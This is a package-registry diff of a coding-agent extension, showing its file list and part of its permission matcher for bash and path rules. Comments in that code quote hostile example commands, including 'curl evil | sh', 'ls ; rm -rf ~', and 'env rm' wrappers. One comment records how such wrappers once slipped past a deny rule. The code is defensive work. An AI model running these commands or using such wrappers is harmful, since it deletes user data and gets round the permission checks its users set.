one-code-extension 0.1.4 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (300) hide show
  1. package/LICENSE +20 -0
  2. package/README.md +200 -172
  3. package/agents/explore.md +9 -6
  4. package/agents/general-purpose.md +1 -1
  5. package/agents/plan.md +6 -4
  6. package/docs/guide/README.md +52 -0
  7. package/docs/guide/bring-your-claude-code-setup.md +126 -0
  8. package/docs/guide/configuration.md +171 -0
  9. package/docs/guide/differences-from-claude-code.md +150 -0
  10. package/docs/guide/doctor.md +86 -0
  11. package/docs/guide/hooks.md +109 -0
  12. package/docs/guide/installation.md +124 -0
  13. package/docs/guide/permissions-modes-and-auto-mode.md +450 -0
  14. package/docs/guide/providers-and-models.md +194 -0
  15. package/docs/guide/reference.md +224 -0
  16. package/docs/guide/sessions-and-context.md +190 -0
  17. package/docs/guide/skills-plugins-and-mcp.md +176 -0
  18. package/docs/guide/subagents-and-workflows.md +193 -0
  19. package/docs/guide/tasks-and-background-work.md +111 -0
  20. package/docs/guide/terminal-interface.md +155 -0
  21. package/docs/guide/tools.md +175 -0
  22. package/docs/guide/troubleshooting.md +175 -0
  23. package/extensions/ask-user/index.ts +65 -71
  24. package/extensions/ask-user/questions.ts +15 -28
  25. package/extensions/ask-user/widget.ts +533 -0
  26. package/extensions/auto-mode/actions.ts +9 -26
  27. package/extensions/auto-mode/classifier-prompt.ts +127 -0
  28. package/extensions/auto-mode/classifier.ts +305 -227
  29. package/extensions/auto-mode/config.ts +279 -77
  30. package/extensions/auto-mode/defaults.ts +17 -60
  31. package/extensions/auto-mode/instructions.ts +2 -1
  32. package/extensions/auto-mode/model-picker.ts +53 -31
  33. package/extensions/auto-mode/model-select.ts +153 -82
  34. package/extensions/auto-mode/paths.ts +13 -1
  35. package/extensions/auto-mode/pause.ts +8 -0
  36. package/extensions/auto-mode/prompt.ts +205 -238
  37. package/extensions/auto-mode/recoverability.ts +229 -0
  38. package/extensions/auto-mode/rules.ts +92 -75
  39. package/extensions/auto-mode/safety-floor.ts +43 -12
  40. package/extensions/auto-mode/sensitive.ts +11 -0
  41. package/extensions/auto-mode/setup-run.ts +245 -0
  42. package/extensions/auto-mode/setup.ts +235 -0
  43. package/extensions/auto-mode/shell-analysis.ts +332 -26
  44. package/extensions/auto-mode/transcript.ts +102 -0
  45. package/extensions/background/index.ts +256 -43
  46. package/extensions/background/monitor-batch.ts +58 -0
  47. package/extensions/background/registry.ts +9 -0
  48. package/extensions/background/wakeup.ts +45 -0
  49. package/extensions/bash/background.ts +47 -22
  50. package/extensions/bash/guards.ts +229 -0
  51. package/extensions/bash/index.ts +81 -19
  52. package/extensions/branding/index.ts +44 -18
  53. package/extensions/branding/startup.ts +23 -8
  54. package/extensions/claude-compat/index.ts +17 -2
  55. package/extensions/claude-context/index.ts +41 -12
  56. package/extensions/clear/index.ts +27 -0
  57. package/extensions/compaction/fit.ts +121 -0
  58. package/extensions/compaction/index.ts +176 -71
  59. package/extensions/compaction/prompt.ts +21 -1
  60. package/extensions/context-budget/budget.ts +61 -0
  61. package/extensions/context-budget/index.ts +66 -0
  62. package/extensions/context-management/index.ts +40 -16
  63. package/extensions/doctor/build.ts +226 -0
  64. package/extensions/doctor/cli.ts +99 -0
  65. package/extensions/doctor/compat.ts +532 -0
  66. package/extensions/doctor/dependencies.ts +186 -0
  67. package/extensions/doctor/fix-prompt.ts +125 -0
  68. package/extensions/doctor/index.ts +308 -0
  69. package/extensions/doctor/models.ts +231 -0
  70. package/extensions/doctor/presets.ts +208 -0
  71. package/extensions/doctor/report.ts +189 -0
  72. package/extensions/doctor/update-lookup.ts +46 -0
  73. package/extensions/doctor/viewer.ts +124 -0
  74. package/extensions/effort/index.ts +41 -4
  75. package/extensions/effort/slider.ts +33 -2
  76. package/extensions/file-tracker/index.ts +143 -20
  77. package/extensions/file-tracker/replay.ts +46 -0
  78. package/extensions/file-tracker/tracker.ts +51 -4
  79. package/extensions/footer/footer-line.ts +207 -0
  80. package/extensions/footer/index.ts +152 -0
  81. package/extensions/footer/pr.ts +53 -0
  82. package/extensions/hooks/executor.ts +57 -20
  83. package/extensions/hooks/formatter-notice.ts +76 -0
  84. package/extensions/hooks/index.ts +314 -73
  85. package/extensions/hooks/matcher.ts +35 -1
  86. package/extensions/hooks/plugin-hooks.ts +3 -3
  87. package/extensions/hooks/protocol.ts +58 -0
  88. package/extensions/hooks/subagent-bridge.ts +77 -0
  89. package/extensions/hooks/trust.ts +15 -4
  90. package/extensions/init/index.ts +26 -0
  91. package/extensions/init/prompt.ts +40 -0
  92. package/extensions/interrupted/index.ts +35 -0
  93. package/extensions/interrupted/line.ts +9 -0
  94. package/extensions/lib/abort.ts +15 -0
  95. package/extensions/lib/agent-loader.ts +183 -0
  96. package/extensions/lib/anthropic-payload.ts +15 -0
  97. package/extensions/lib/atomic-write.ts +56 -0
  98. package/extensions/lib/bridge-watch.ts +20 -0
  99. package/extensions/lib/cache-retention.ts +60 -0
  100. package/extensions/lib/capability-index.ts +466 -0
  101. package/extensions/lib/claude-context.ts +318 -27
  102. package/extensions/lib/claude-settings.ts +64 -0
  103. package/extensions/lib/consent-preview.ts +30 -0
  104. package/extensions/lib/deferred.ts +144 -13
  105. package/extensions/lib/favorites.ts +43 -0
  106. package/extensions/lib/fetch-timeout.ts +15 -0
  107. package/extensions/lib/frontmatter.ts +31 -0
  108. package/extensions/lib/git.ts +44 -2
  109. package/extensions/lib/hook-gate.ts +90 -0
  110. package/extensions/lib/interrupt.ts +94 -0
  111. package/extensions/lib/mcp-overrides.ts +61 -0
  112. package/extensions/lib/mcp-share.ts +25 -0
  113. package/extensions/lib/mcp-status.ts +34 -0
  114. package/extensions/lib/memory.ts +41 -6
  115. package/extensions/lib/model-facts.generated.json +2480 -0
  116. package/extensions/lib/model-facts.ts +162 -0
  117. package/extensions/lib/model-policy.ts +145 -189
  118. package/extensions/lib/model-tier.ts +480 -64
  119. package/extensions/lib/model-unusable.ts +37 -0
  120. package/extensions/lib/notifications.ts +320 -1
  121. package/extensions/lib/one-code-settings.ts +63 -0
  122. package/extensions/lib/original-command.ts +71 -0
  123. package/extensions/lib/package-version.ts +31 -0
  124. package/extensions/lib/paths.ts +39 -4
  125. package/extensions/lib/permission-gate.ts +192 -0
  126. package/extensions/lib/persisted-output.ts +18 -0
  127. package/extensions/lib/pi-ai-estimate.ts +160 -0
  128. package/extensions/lib/pi-version.ts +1 -1
  129. package/extensions/lib/plan-mode-channels.ts +11 -0
  130. package/extensions/lib/plugin-overrides.ts +24 -0
  131. package/extensions/lib/plugin-root.ts +44 -0
  132. package/extensions/lib/plugins.ts +233 -54
  133. package/extensions/lib/prefix-warm-gate.ts +157 -0
  134. package/extensions/lib/process-tree.ts +56 -0
  135. package/extensions/lib/reminders.ts +321 -68
  136. package/extensions/lib/scratchpad.ts +11 -8
  137. package/extensions/lib/session-lifecycle.ts +28 -0
  138. package/extensions/lib/settings-channels.ts +14 -0
  139. package/extensions/lib/shell-tasks.ts +54 -0
  140. package/extensions/lib/skill-overrides.ts +86 -0
  141. package/extensions/lib/skill-scan.ts +110 -0
  142. package/extensions/lib/text-width.ts +267 -0
  143. package/extensions/lib/tui-render.ts +281 -54
  144. package/extensions/lib/usage-bus.ts +75 -0
  145. package/extensions/lib/usage-tracker.ts +67 -0
  146. package/extensions/lib/worktree-isolation.ts +170 -0
  147. package/extensions/lsp/client.ts +69 -12
  148. package/extensions/lsp/format.ts +12 -2
  149. package/extensions/lsp/index.ts +273 -84
  150. package/extensions/lsp/install-hints.ts +43 -0
  151. package/extensions/lsp/keep-alive.ts +19 -0
  152. package/extensions/lsp/plugin-servers.ts +331 -0
  153. package/extensions/lsp/watcher.ts +157 -0
  154. package/extensions/mcp/announce.ts +99 -0
  155. package/extensions/mcp/client.ts +181 -22
  156. package/extensions/mcp/config.ts +55 -24
  157. package/extensions/mcp/index.ts +586 -86
  158. package/extensions/mcp/oauth/browser.ts +26 -0
  159. package/extensions/mcp/oauth/callback.ts +104 -0
  160. package/extensions/mcp/oauth/flow.ts +68 -0
  161. package/extensions/mcp/oauth/provider.ts +147 -0
  162. package/extensions/mcp/oauth/store.ts +86 -0
  163. package/extensions/mcp/panel/keys.ts +34 -0
  164. package/extensions/mcp/panel/model.ts +62 -0
  165. package/extensions/mcp/panel/render.ts +141 -0
  166. package/extensions/mcp/panel/state.ts +108 -0
  167. package/extensions/mcp/schema.ts +83 -6
  168. package/extensions/mcp/trust.ts +340 -0
  169. package/extensions/memory/entries.ts +163 -0
  170. package/extensions/memory/index.ts +119 -2
  171. package/extensions/memory/open-external.ts +97 -0
  172. package/extensions/memory/panel.ts +124 -0
  173. package/extensions/model-default/index.ts +74 -0
  174. package/extensions/notebook/index.ts +36 -18
  175. package/extensions/notebook/notebook.ts +110 -17
  176. package/extensions/permissions/index.ts +1012 -247
  177. package/extensions/permissions/matcher.ts +488 -57
  178. package/extensions/permissions/modes.ts +55 -7
  179. package/extensions/permissions/project-trust.ts +81 -0
  180. package/extensions/permissions/protected-paths.ts +16 -3
  181. package/extensions/permissions/rule-prose.ts +79 -0
  182. package/extensions/permissions/session-grant.ts +91 -0
  183. package/extensions/permissions/settings.ts +112 -33
  184. package/extensions/permissions/subagent-gate.ts +57 -0
  185. package/extensions/plan-mode/index.ts +143 -33
  186. package/extensions/plan-mode/reminder.ts +16 -19
  187. package/extensions/plan-mode/viewer.ts +40 -31
  188. package/extensions/plugins/counts.ts +68 -0
  189. package/extensions/plugins/index.ts +496 -32
  190. package/extensions/plugins/install/install.ts +167 -0
  191. package/extensions/plugins/install/paths.ts +23 -0
  192. package/extensions/plugins/install/registry.ts +72 -0
  193. package/extensions/plugins/marketplace/git.ts +103 -0
  194. package/extensions/plugins/marketplace/official.ts +36 -0
  195. package/extensions/plugins/marketplace/parse.ts +94 -0
  196. package/extensions/plugins/marketplace/registry.ts +60 -0
  197. package/extensions/plugins/marketplace/sync.ts +146 -0
  198. package/extensions/plugins/marketplace/types.ts +128 -0
  199. package/extensions/plugins/panel/keys.ts +52 -0
  200. package/extensions/plugins/panel/render.ts +315 -0
  201. package/extensions/plugins/panel/rows.ts +230 -0
  202. package/extensions/plugins/panel/state.ts +333 -0
  203. package/extensions/recap/index.ts +215 -0
  204. package/extensions/recap/prompt.ts +44 -0
  205. package/extensions/recap/scheduler.ts +87 -0
  206. package/extensions/search-tools/index.ts +0 -0
  207. package/extensions/search-tools/tools.ts +7 -5
  208. package/extensions/skill/index.ts +360 -34
  209. package/extensions/skill/invoke.ts +185 -0
  210. package/extensions/skill/listing.ts +21 -0
  211. package/extensions/skill/panel/keys.ts +41 -0
  212. package/extensions/skill/panel/render.ts +91 -0
  213. package/extensions/skill/panel/state.ts +115 -0
  214. package/extensions/spinner/index.ts +110 -0
  215. package/extensions/spinner/line.ts +51 -0
  216. package/extensions/spinner/verbs.ts +201 -0
  217. package/extensions/subagents/agents.ts +88 -44
  218. package/extensions/subagents/default-model.ts +62 -32
  219. package/extensions/subagents/delegation-steer.ts +23 -0
  220. package/extensions/subagents/hand-back-review.ts +67 -0
  221. package/extensions/subagents/index.ts +1545 -346
  222. package/extensions/subagents/live-runs.ts +293 -0
  223. package/extensions/subagents/model-select.ts +252 -82
  224. package/extensions/subagents/outcome.ts +90 -0
  225. package/extensions/subagents/panel-keys.ts +41 -0
  226. package/extensions/subagents/panel-render.ts +357 -0
  227. package/extensions/subagents/panel-widget.ts +330 -0
  228. package/extensions/subagents/pending-claim.ts +45 -0
  229. package/extensions/subagents/prose.ts +105 -0
  230. package/extensions/subagents/runner.ts +674 -0
  231. package/extensions/subagents/runs.ts +68 -1
  232. package/extensions/subagents/send-to-main-tool.ts +55 -0
  233. package/extensions/subagents/session-turns.ts +138 -0
  234. package/extensions/subagents/shell-panel.ts +198 -0
  235. package/extensions/subagents/usage.ts +16 -4
  236. package/extensions/subagents/worktree.ts +13 -0
  237. package/extensions/system-prompt/environment.ts +5 -3
  238. package/extensions/system-prompt/git-status.ts +93 -0
  239. package/extensions/system-prompt/index.ts +23 -1
  240. package/extensions/system-prompt/template.ts +34 -4
  241. package/extensions/system-prompt/tiers/common.ts +31 -6
  242. package/extensions/system-prompt/tiers/low.ts +13 -3
  243. package/extensions/system-prompt/tiers/mid.ts +21 -8
  244. package/extensions/system-reminder/index.ts +53 -9
  245. package/extensions/tasks/index.ts +65 -16
  246. package/extensions/tasks/store.ts +76 -3
  247. package/extensions/tool-search/announce.ts +42 -0
  248. package/extensions/tool-search/index.ts +136 -13
  249. package/extensions/turn-duration/index.ts +60 -0
  250. package/extensions/turn-duration/line.ts +22 -0
  251. package/extensions/turn-duration/span.ts +41 -0
  252. package/extensions/turn-duration/verbs.ts +24 -0
  253. package/extensions/web/backends.ts +421 -0
  254. package/extensions/web/index.ts +178 -21
  255. package/extensions/web-fetch/index.ts +74 -18
  256. package/extensions/web-fetch/summarize.ts +1 -1
  257. package/extensions/workflow/agent-session.ts +182 -112
  258. package/extensions/workflow/globals.ts +129 -106
  259. package/extensions/workflow/index.ts +343 -28
  260. package/extensions/workflow/records.ts +118 -0
  261. package/extensions/workflow/run-manager.ts +80 -31
  262. package/extensions/workflow/saved-workflows.ts +2 -1
  263. package/extensions/workflow/script-worker.mjs +110 -0
  264. package/extensions/workflow/types.ts +74 -8
  265. package/extensions/workflow/viewer.ts +562 -0
  266. package/extensions/workflow/vm-runtime.ts +118 -22
  267. package/extensions/workflow/widget.ts +126 -18
  268. package/extensions/worktree/guards.ts +240 -0
  269. package/extensions/worktree/index.ts +30 -5
  270. package/extensions/worktree/rewrite.ts +32 -16
  271. package/package.json +20 -10
  272. package/skills/code-review/SKILL.md +165 -0
  273. package/skills/fewer-permission-prompts/SKILL.md +61 -0
  274. package/skills/security-review/SKILL.md +178 -0
  275. package/skills/simplify/SKILL.md +70 -0
  276. package/themes/{one-code-light.json → onecode-light.json} +6 -1
  277. package/themes/{one-code.json → onecode.json} +6 -1
  278. package/types/app.d.ts +8 -1
  279. package/types/community-packages.d.ts +45 -2
  280. package/docs/decisions/auto-mode.md +0 -526
  281. package/docs/decisions/branding.md +0 -127
  282. package/docs/decisions/code-review-remediation.md +0 -106
  283. package/docs/decisions/compaction.md +0 -140
  284. package/docs/decisions/distribution.md +0 -168
  285. package/docs/decisions/hooks.md +0 -64
  286. package/docs/decisions/lsp.md +0 -58
  287. package/docs/decisions/mcp.md +0 -104
  288. package/docs/decisions/memory-state.md +0 -170
  289. package/docs/decisions/model-policy.md +0 -126
  290. package/docs/decisions/modes.md +0 -178
  291. package/docs/decisions/skills-plugins.md +0 -56
  292. package/docs/decisions/subagents-workflows.md +0 -225
  293. package/docs/decisions/system-prompt.md +0 -98
  294. package/docs/decisions/tools.md +0 -407
  295. package/docs/decisions/tui.md +0 -217
  296. package/docs/decisions.md +0 -148
  297. package/extensions/subagents/child.ts +0 -414
  298. package/extensions/subagents/rpc-turns.ts +0 -123
  299. package/extensions/todo/index.ts +0 -133
  300. package/extensions/workflow/permission-gate.ts +0 -71
@@ -9,7 +9,10 @@
9
9
 
10
10
  import { homedir } from "node:os";
11
11
  import { isAbsolute, relative, resolve, sep } from "node:path";
12
+ import { analyzeShellCommand, hasInjectionSyntax, leadTokens, parseCommand, resolvePayload } from "../auto-mode/shell-analysis.ts";
13
+ import { pathArgument } from "../auto-mode/paths.ts";
12
14
  import { isProtectedPath, isWritingTool } from "./protected-paths.ts";
15
+ import { expandTilde } from "../lib/paths.ts";
13
16
 
14
17
  export type PermissionMode = "default" | "acceptEdits" | "plan" | "bypassPermissions" | "dontAsk" | "auto";
15
18
  /** "classify" is auto mode's outcome: hand the call to the approval classifier. */
@@ -31,15 +34,17 @@ const CC_TOOL_NAMES: Record<string, string> = {
31
34
  web_fetch: "web_fetch",
32
35
  websearch: "web_search",
33
36
  web_search: "web_search",
34
- task: "subagent",
35
- agent: "subagent",
36
- todowrite: "todo_write",
37
- todo_write: "todo_write",
37
+ task: "Agent",
38
+ agent: "Agent",
39
+ subagent: "Agent", // pre-rename internal name, so old permission rules still match
38
40
  skill: "skill",
41
+ toolsearch: "tool_search",
42
+ tool_search: "tool_search",
39
43
  askuserquestion: "ask_user_question",
40
44
  ask_user_question: "ask_user_question",
41
45
  workflow: "workflow",
42
46
  taskcreate: "task_create",
47
+ todowrite: "task_create", // CC's TodoWrite maps to our task list; steers a direct call to the task tools
43
48
  taskget: "task_get",
44
49
  tasklist: "task_list",
45
50
  taskupdate: "task_update",
@@ -47,9 +52,14 @@ const CC_TOOL_NAMES: Record<string, string> = {
47
52
  taskstop: "task_stop",
48
53
  monitor: "monitor",
49
54
  schedulewakeup: "schedule_wakeup",
50
- sendmessage: "send_message",
55
+ sendmessage: "SendMessage",
56
+ send_message: "SendMessage", // pre-rename internal name
57
+ listagents: "list_agents",
58
+ list_agents: "list_agents",
51
59
  enterworktree: "enter_worktree",
52
60
  exitworktree: "exit_worktree",
61
+ lsp: "lsp_diagnostics", // CC defers a tool named `LSP`; our counterpart is lsp_diagnostics
62
+ lsp_diagnostics: "lsp_diagnostics",
53
63
  listmcpresourcestool: "list_mcp_resources",
54
64
  readmcpresourcetool: "read_mcp_resource",
55
65
  readmcpresourcedirtool: "read_mcp_resource_dir",
@@ -79,26 +89,78 @@ export interface PermissionRule {
79
89
  pattern?: string;
80
90
  }
81
91
 
82
- /** Parse "Tool" or "Tool(pattern)". Returns undefined for malformed rules. */
92
+ /**
93
+ * Parse "Tool" or "Tool(pattern)". Returns undefined for malformed rules. Tool
94
+ * names may carry `-` and `.` — MCP tools keep their servers' hyphens
95
+ * (`mcp__github__delete-repo`), and a rule naming one used to be dropped
96
+ * silently (review P5) — and `:`, the plugin MCP namespace
97
+ * (`mcp__plugin:name:server__tool`).
98
+ */
83
99
  export function parseRule(raw: string): PermissionRule | undefined {
84
100
  const trimmed = raw.trim();
85
101
  if (!trimmed) return undefined;
86
- const match = trimmed.match(/^([A-Za-z0-9_]+)(?:\((.*)\))?$/s);
102
+ const match = trimmed.match(/^([A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
87
103
  if (!match) return undefined;
88
104
  const [, name, pattern] = match;
89
105
  return { raw: trimmed, tool: normalizeToolName(name), pattern: pattern || undefined };
90
106
  }
91
107
 
108
+ /** Parsed rules plus the raw strings that could not be parsed, so a caller can report them. */
109
+ export function parseRulesReport(raws: string[]): { rules: PermissionRule[]; dropped: string[] } {
110
+ const rules: PermissionRule[] = [];
111
+ const dropped: string[] = [];
112
+ for (const raw of raws) {
113
+ const rule = parseRule(raw);
114
+ if (rule) rules.push(rule);
115
+ else if (raw.trim()) dropped.push(raw.trim());
116
+ }
117
+ return { rules, dropped };
118
+ }
119
+
92
120
  export function parseRules(raws: string[]): PermissionRule[] {
93
- return raws.map(parseRule).filter((r): r is PermissionRule => r !== undefined);
121
+ return parseRulesReport(raws).rules;
122
+ }
123
+
124
+ /**
125
+ * Whether a bash pattern has a `*` that is a wildcard — i.e. not written `\*`.
126
+ * Claude Code's escape syntax: `\*` is a literal asterisk, `\\` a literal
127
+ * backslash. A pattern with no unescaped `*` is an exact command.
128
+ */
129
+ export function hasUnescapedWildcard(pattern: string): boolean {
130
+ for (let i = 0; i < pattern.length; i++) {
131
+ if (pattern[i] === "\\") {
132
+ i++;
133
+ continue;
134
+ }
135
+ if (pattern[i] === "*") return true;
136
+ }
137
+ return false;
138
+ }
139
+
140
+ /** The literal command an exact (wildcard-free) bash pattern stands for. */
141
+ export function unescapeLiteral(pattern: string): string {
142
+ return pattern.replace(/\\([*\\])/g, "$1");
94
143
  }
95
144
 
96
- /** Glob → RegExp. `**` crosses path separators, `*` does not. */
145
+ /**
146
+ * Spell a literal command as a bash pattern that matches exactly it — `*` and
147
+ * `\` escaped — for rules minted from an approved command ("don't ask again
148
+ * this session"). Without this `ls *.ts` became a glob matching
149
+ * `ls ; rm -rf ~ #.ts` (review P7).
150
+ */
151
+ export function escapeLiteral(command: string): string {
152
+ return command.replace(/[\\*]/g, (ch) => `\\${ch}`);
153
+ }
154
+
155
+ /** Glob → RegExp. `**` crosses path separators, `*` does not. `\*` / `\\` are literals. */
97
156
  function globToRegex(glob: string, pathMode: boolean): RegExp {
98
157
  let out = "";
99
158
  for (let i = 0; i < glob.length; i++) {
100
159
  const ch = glob[i];
101
- if (ch === "*") {
160
+ if (ch === "\\" && (glob[i + 1] === "*" || glob[i + 1] === "\\")) {
161
+ out += `\\${glob[i + 1]}`;
162
+ i++;
163
+ } else if (ch === "*") {
102
164
  if (pathMode && glob[i + 1] === "*") {
103
165
  out += ".*";
104
166
  i++;
@@ -116,29 +178,168 @@ function globToRegex(glob: string, pathMode: boolean): RegExp {
116
178
  }
117
179
 
118
180
  /**
119
- * Bash pattern match, Claude Code semantics: exact command, or a prefix rule
120
- * "npm run test:*" (trailing ":*" = the command plus any arguments/suffix).
121
- * Other "*" wildcards match as globs.
181
+ * Bash pattern match against ONE command (no `&&`/`|`/`;`), Claude Code
182
+ * semantics (`utils/permissions/shellRuleMatching.ts` + `bashPermissions.ts`):
183
+ * - exact rule: the whole command, character for character;
184
+ * - prefix rule `npm test:*`: the command IS `npm test` or starts with
185
+ * `npm test ` — the boundary is a literal space, so `git:*` does not cover
186
+ * `gitk` (and, as in CC, `npm run test:*` does not cover `npm run test:unit`;
187
+ * write `npm run test:unit:*` or `npm run test*` for that). The bare
188
+ * `xargs <prefix>` spelling counts too, so `Bash(rm:*)` as a deny still
189
+ * catches `xargs rm`;
190
+ * - wildcard rule (`*` anywhere else): `*` matches any run of characters; a
191
+ * single trailing ` *` also matches the bare command (`git *` covers `git`).
192
+ * Compound commands are handled by the callers: {@link ruleMatches} (deny/ask
193
+ * — any subcommand) and {@link findBashAllowRule} (allow — every subcommand).
122
194
  */
123
195
  export function matchesBashPattern(pattern: string, command: string): boolean {
124
196
  const cmd = command.trim();
125
197
  if (pattern.endsWith(":*")) {
126
198
  const prefix = pattern.slice(0, -2);
127
- return cmd === prefix || cmd.startsWith(prefix);
199
+ if (cmd === prefix || cmd.startsWith(`${prefix} `)) return true;
200
+ const viaXargs = `xargs ${prefix}`;
201
+ return cmd === viaXargs || cmd.startsWith(`${viaXargs} `);
202
+ }
203
+ if (hasUnescapedWildcard(pattern)) {
204
+ let regex = globToRegex(pattern, false);
205
+ const stars = pattern.split("*").length - 1;
206
+ if (stars === 1 && pattern.endsWith(" *")) {
207
+ const source = regex.source.slice(0, -" .*$".length);
208
+ regex = new RegExp(`${source}( .*)?$`);
209
+ }
210
+ return regex.test(cmd);
211
+ }
212
+ return cmd === unescapeLiteral(pattern);
213
+ }
214
+
215
+ /**
216
+ * The separately-executing subcommands of a bash command line — what `&&`,
217
+ * `||`, `;`, `|`, `&`, and unquoted newlines separate — or undefined when the
218
+ * line cannot be parsed (unbalanced quotes). A single simple command comes
219
+ * back as itself.
220
+ */
221
+ export function bashSubcommands(command: string): string[] | undefined {
222
+ const { segments, parseFailed } = parseCommand(command.trim());
223
+ if (parseFailed) return undefined;
224
+ return segments.map((seg) => seg.raw).filter((raw) => raw.length > 0);
225
+ }
226
+
227
+ /** Shells whose `-c` argument is a nested command line. */
228
+ const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "fish"]);
229
+
230
+ /** The script a `sh -c '…'` / `bash -lc '…'` invocation runs, if any. */
231
+ function inlineShellScript(args: string[]): string | undefined {
232
+ for (let i = 0; i < args.length - 1; i++) {
233
+ if (/^-[a-zA-Z]*c$/.test(args[i])) return args[i + 1];
128
234
  }
129
- if (pattern.includes("*")) {
130
- return globToRegex(pattern, false).test(cmd);
235
+ return undefined;
236
+ }
237
+
238
+ /**
239
+ * Every spelling of a command line a deny/ask pattern is tested against: the
240
+ * raw line, each subcommand, and each subcommand's *payload form* — transparent
241
+ * wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), subshell
242
+ * and group punctuation stripped, the command word reduced to its lowercased
243
+ * basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script
244
+ * expanded recursively. Claude Code strips the same wrappers before its deny
245
+ * check (`bashPermissions.ts stripSafeWrappers`); until 2026-09-05 `env rm -f
246
+ * x` ran past `Bash(rm:*)` here after a plain "Allow bash?" prompt
247
+ * (PERMISSIONS-REVIEW-2026-09-05 M1). Deny/ask only — an allow rule keeps
248
+ * matching the literal spelling (findBashAllowRule), so widening here can only
249
+ * make the gate stricter.
250
+ */
251
+ export function bashMatchForms(command: string, depth = 0): string[] {
252
+ const forms = new Set<string>();
253
+ const trimmed = command.trim();
254
+ if (!trimmed) return [];
255
+ forms.add(trimmed);
256
+ if (depth > 4) return [...forms];
257
+ const { segments, parseFailed } = parseCommand(trimmed);
258
+ if (parseFailed) return [...forms];
259
+ for (const segment of segments) {
260
+ if (segment.raw) forms.add(segment.raw);
261
+ const tokens = leadTokens(segment);
262
+ if (tokens.length === 0) continue;
263
+ const payload = resolvePayload(tokens);
264
+ if (!payload.command) continue;
265
+ const args = payload.args.map((token) => token.value);
266
+ forms.add([payload.command, ...args].join(" "));
267
+ if (SHELL_INTERPRETERS.has(payload.command)) {
268
+ const script = inlineShellScript(args);
269
+ if (script) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
270
+ }
271
+ }
272
+ return [...forms];
273
+ }
274
+
275
+ /**
276
+ * A bash deny/ask rule matches when its pattern covers the WHOLE command, ANY
277
+ * subcommand of it, or any subcommand's payload form ({@link bashMatchForms}) —
278
+ * wrapping `rm -rf x` in `ls && rm -rf x` or `env rm -rf x` must not slip past
279
+ * `Bash(rm:*)` (CC: "deny/ask rules must match compound commands so they can't
280
+ * be bypassed"). Unparseable lines are matched as a whole only.
281
+ */
282
+ function bashPatternMatchesAny(pattern: string, command: string): boolean {
283
+ // decide() tests every deny rule, then every ask rule, against the same
284
+ // command; the forms depend on the command alone, so the last parse is kept.
285
+ if (lastForms?.command !== command) lastForms = { command, forms: bashMatchForms(command) };
286
+ return lastForms.forms.some((form) => matchesBashPattern(pattern, form));
287
+ }
288
+ let lastForms: { command: string; forms: string[] } | undefined;
289
+
290
+ /**
291
+ * The allow rule that lets a bash command run, or undefined. CC semantics: an
292
+ * EXACT rule equal to the whole command allows it outright (the user approved
293
+ * that literal string); otherwise the command is split into subcommands and
294
+ * every one of them must be covered by some allow rule — `Bash(npm test:*)`
295
+ * alone never covers `npm test && curl evil | sh`, while `Bash(npm test:*)` +
296
+ * `Bash(git status:*)` together cover `npm test && git status`. Prefix and
297
+ * wildcard rules never cover a command carrying command substitution, process
298
+ * substitution, eval/exec, a pipe into an interpreter, or a base64 decode:
299
+ * what runs is not what the words say, so the rule's author never saw it. An
300
+ * unparseable line is not covered. The rule returned is the first one that
301
+ * covered a subcommand (for the "allowed by rule …" note).
302
+ */
303
+ export function findBashAllowRule(rules: PermissionRule[], command: string, toolName = "bash"): PermissionRule | undefined {
304
+ const cmd = command.trim();
305
+ if (!cmd) return undefined;
306
+ // `monitor` carries a shell command too and is judged with the same
307
+ // semantics; its rules are `monitor(...)`, never `bash(...)`.
308
+ const bashRules = rules.filter((r) => ruleCoversTool(r.tool, toolName));
309
+ const bare = bashRules.find((r) => !r.pattern);
310
+ if (bare) return bare;
311
+ const exact = bashRules.find(
312
+ (r) => r.pattern !== undefined && !hasUnescapedWildcard(r.pattern) && unescapeLiteral(r.pattern) === cmd,
313
+ );
314
+ if (exact) return exact;
315
+ if (hasInjectionSyntax(cmd)) return undefined;
316
+ const subs = bashSubcommands(cmd);
317
+ if (!subs || subs.length === 0) return undefined;
318
+ let first: PermissionRule | undefined;
319
+ for (const sub of subs) {
320
+ const rule = bashRules.find((r) => r.pattern !== undefined && matchesBashPattern(r.pattern, sub));
321
+ if (!rule) return undefined;
322
+ first ??= rule;
131
323
  }
132
- return cmd === pattern;
324
+ return first;
133
325
  }
134
326
 
135
- /** Path pattern match against the raw, absolute, cwd-relative, and ~-expanded forms. */
327
+ /**
328
+ * Path pattern match against the RESOLVED forms of the subject — absolute
329
+ * (with `.`/`..` normalised), cwd-relative, and `~/`-relative — never the raw
330
+ * spelling: `Edit(docs/**)` must not match `docs/../src/main.ts`, and a
331
+ * `~/.ssh/id_rsa` subject must hit `Read(~/.ssh/**)` (review P6).
332
+ */
136
333
  export function matchesPathPattern(pattern: string, subject: string, cwd: string): boolean {
137
334
  const home = homedir();
138
- const expandedPattern = pattern.startsWith("~/") ? `${home}/${pattern.slice(2)}` : pattern;
139
-
140
- const candidates = new Set<string>([subject]);
141
- const absolute = isAbsolute(subject) ? subject : resolve(cwd, subject);
335
+ // Claude Code's rule syntax: `//path` is an absolute filesystem path (the
336
+ // doubled slash distinguishes it from `/path`, which CC reads relative to
337
+ // the project root). `Read(//etc/**)` is the form CC's own suggestions write.
338
+ const expandedPattern = pattern.startsWith("//") ? expandTilde(pattern.slice(1), home) : expandTilde(pattern, home);
339
+ const expandedSubject = expandTilde(subject, home);
340
+
341
+ const candidates = new Set<string>();
342
+ const absolute = isAbsolute(expandedSubject) ? resolve(expandedSubject) : resolve(cwd, expandedSubject);
142
343
  candidates.add(absolute);
143
344
  const rel = relative(cwd, absolute);
144
345
  if (rel && !rel.startsWith("..")) candidates.add(rel);
@@ -151,11 +352,82 @@ export function matchesPathPattern(pattern: string, subject: string, cwd: string
151
352
  return false;
152
353
  }
153
354
 
154
- /** The argument a rule pattern applies to, per tool. */
355
+ /**
356
+ * What kind of thing a tool's subject is, which decides how a rule pattern is
357
+ * matched against it and how a session grant is scoped: a shell command line
358
+ * (bash-pattern semantics), a filesystem path (path globs against the resolved
359
